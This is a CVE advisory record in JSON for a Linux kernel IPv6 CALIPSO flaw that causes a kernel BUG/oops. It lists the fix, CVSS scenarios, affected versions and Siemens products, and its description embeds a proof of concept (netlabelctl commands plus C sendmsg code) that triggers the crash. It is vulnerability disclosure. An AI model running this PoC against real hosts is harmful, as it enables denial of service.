{ "dataType": "CVE_RECORD", "dataVersion": "5.2", "cveMetadata": { "cveId": "CVE-2025-71085", "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "state": "PUBLISHED", "assignerShortName": "Linux", "dateReserved": "2026-01-13T15:30:19.649Z", "datePublished": "2026-01-13T15:34:48.324Z", "dateUpdated": "2026-08-05T12:11:57.623Z" }, "containers": { "cna": { "providerMetadata": { "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "shortName": "Linux", "dateUpdated": "2026-08-05T12:11:57.623Z" }, "descriptions": [ { "lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead < 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom > INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) < 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n netlabelctl map del default\n netlabelctl calipso add pass doi:7\n netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n Then run the following PoC:\n\n int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n // setup msghdr\n int cmsg_size = 2;\n int cmsg_len = 0x60;\n struct msghdr msg;\n struct sockaddr_in6 dest_addr;\n struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n sizeof(struct cmsghdr) + cmsg_len);\n msg.msg_name = &dest_addr;\n msg.msg_namelen = sizeof(dest_addr);\n msg.msg_iov = NULL;\n msg.msg_iovlen = 0;\n msg.msg_control = cmsg;\n msg.msg_controllen = cmsg_len;\n msg.msg_flags = 0;\n\n // setup sockaddr\n dest_addr.sin6_family = AF_INET6;\n dest_addr.sin6_port = htons(31337);\n dest_addr.sin6_flowinfo = htonl(31337);\n dest_addr.sin6_addr = in6addr_loopback;\n dest_addr.sin6_scope_id = 31337;\n\n // setup cmsghdr\n cmsg->cmsg_len = cmsg_len;\n cmsg->cmsg_level = IPPROTO_IPV6;\n cmsg->cmsg_type = IPV6_HOPOPTS;\n char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n sendmsg(fd, &msg, 0);" } ], "metrics": [ { "cvssV3_1": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH" }, "scenarios": [ { "lang": "en", "value": "AV:N - On an IPv6-forwarding CALIPSO/SELinux gateway, a remote peer can supply a valid oversized CALIPSO hop-by-hop option; the NF_INET_FORWARD SELinux hook reaches calipso_skbuff_setattr() while relabeling the packet.\nAC:L - Once CALIPSO labeling and IPv6 forwarding are configured, the attacker controls the option length, label data, padding, and CRC and can deterministically create a sufficiently negative len_delta without a race or uncontrollable memory layout.\nPR:N - The forwarding path processes received packet metadata without an authenticated session, and CALIPSO's CRC provides no authentication, so the remote attacker needs no local credentials or capabilities.\nUI:N - A crafted packet triggers the vulnerable forwarding hook automatically without any victim action.\nS:U - The assertion and resulting denial of service remain within the host kernel's existing security authority and do not cross a virtualization or sandbox boundary.\nC:N - The negative value reaches BUG_ON before allocation or copying, and no kernel data is disclosed.\nI:N - The assertion fires before pskb_expand_head() modifies buffer storage, so the bug provides no memory corruption or write primitive.\nA:H - The reachable BUG_ON causes a kernel oops and can panic or reboot the system, with repeated packets able to retrigger the failure." } ] } ], "affected": [ { "product": "Linux", "vendor": "Linux", "defaultStatus": "unaffected", "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git", "programFiles": [ "net/ipv6/calipso.c" ], "versions": [ { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "lessThan": "86f365897068d09418488165a68b23cb5baa37f2", "status": "affected", "versionType": "git" }, { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "lessThan": "6b7522424529556c9cbc15e15e7bd4eeae310910", "status": "affected", "versionType": "git" }, { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "lessThan": "2bb759062efa188ea5d07242a43e5aa5464bbae1", "status": "affected", "versionType": "git" }, { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "lessThan": "c53aa6a5086f03f19564096ee084a202a8c738c0", "status": "affected", "versionType": "git" }, { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "lessThan": "bf3709738d8a8cc6fa275773170c5c29511a0b24", "status": "affected", "versionType": "git" }, { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "lessThan": "73744ad5696dce0e0f43872aba8de6a83d6ad570", "status": "affected", "versionType": "git" }, { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "lessThan": "58fc7342b529803d3c221101102fe913df7adb83", "status": "affected", "versionType": "git" } ] }, { "product": "Linux", "vendor": "Linux", "defaultStatus": "affected", "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git", "programFiles": [ "net/ipv6/calipso.c" ], "versions": [ { "version": "4.8", "status": "affected" }, { "version": "0", "lessThan": "4.8", "status": "unaffected", "versionType": "semver" }, { "version": "5.10.248", "lessThanOrEqual": "5.10.*", "status": "unaffected", "versionType": "semver" }, { "version": "5.15.198", "lessThanOrEqual": "5.15.*", "status": "unaffected", "versionType": "semver" }, { "version": "6.1.160", "lessThanOrEqual": "6.1.*", "status": "unaffected", "versionType": "semver" }, { "version": "6.6.120", "lessThanOrEqual": "6.6.*", "status": "unaffected", "versionType": "semver" }, { "version": "6.12.64", "lessThanOrEqual": "6.12.*", "status": "unaffected", "versionType": "semver" }, { "version": "6.18.4", "lessThanOrEqual": "6.18.*", "status": "unaffected", "versionType": "semver" }, { "version": "6.19", "lessThanOrEqual": "*", "status": "unaffected", "versionType": "original_commit_for_fix" } ] } ], "cpeApplicability": [ { "nodes": [ { "operator": "OR", "negate": false, "cpeMatch": [ { "vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.8", "versionEndExcluding": "5.10.248" }, { "vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.8", "versionEndExcluding": "5.15.198" }, { "vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.8", "versionEndExcluding": "6.1.160" }, { "vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.8", "versionEndExcluding": "6.6.120" }, { "vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.8", "versionEndExcluding": "6.12.64" }, { "vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.8", "versionEndExcluding": "6.18.4" }, { "vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.8", "versionEndExcluding": "6.19" } ] } ] } ], "references": [ { "url": "https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2" }, { "url": "https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910" }, { "url": "https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1" }, { "url": "https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0" }, { "url": "https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24" }, { "url": "https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570" }, { "url": "https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83" } ], "title": "ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()", "x_generator": { "engine": "bippy-1.2.0" } }, "adp": [ { "metrics": [ { "other": { "type": "ssvc", "content": { "id": "CVE-2025-71085", "role": "CISA Coordinator", "options": [ { "Exploitation": "none" }, { "Automatable": "no" }, { "Technical Impact": "partial" } ], "version": "2.0.3", "timestamp": "2026-06-10T20:42:02.469421Z" } } } ], "title": "CISA ADP Vulnrichment", "providerMetadata": { "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2026-06-11T18:44:18.746Z" } }, { "x_adpType": "supplier", "providerMetadata": { "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e", "shortName": "siemens-SADP", "dateUpdated": "2026-07-14T12:44:31.177Z" }, "affected": [ { "vendor": "Siemens", "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP", "versions": [ { "status": "affected", "version": "V3.1.6", "lessThan": "*", "versionType": "custom" } ], "defaultStatus": "unknown" }, { "vendor": "Siemens", "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP", "versions": [ { "status": "affected", "version": "V3.1.6", "lessThan": "*", "versionType": "custom" } ], "defaultStatus": "unknown" }, { "vendor": "Siemens", "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP", "versions": [ { "status": "affected", "version": "V3.1.6", "lessThan": "*", "versionType": "custom" } ], "defaultStatus": "unknown" }, { "vendor": "Siemens", "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP", "versions": [ { "status": "affected", "version": "V3.1.6", "lessThan": "*", "versionType": "custom" } ], "defaultStatus": "unknown" }, { "vendor": "Siemens", "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP", "versions": [ { "status": "affected", "version": "V3.1.6", "lessThan": "*", "versionType": "custom" } ], "defaultStatus": "unknown" } ], "references": [ { "url": "https://cert-portal.siemens.com/productcert/html/ssa-019113.html" } ] } ] } }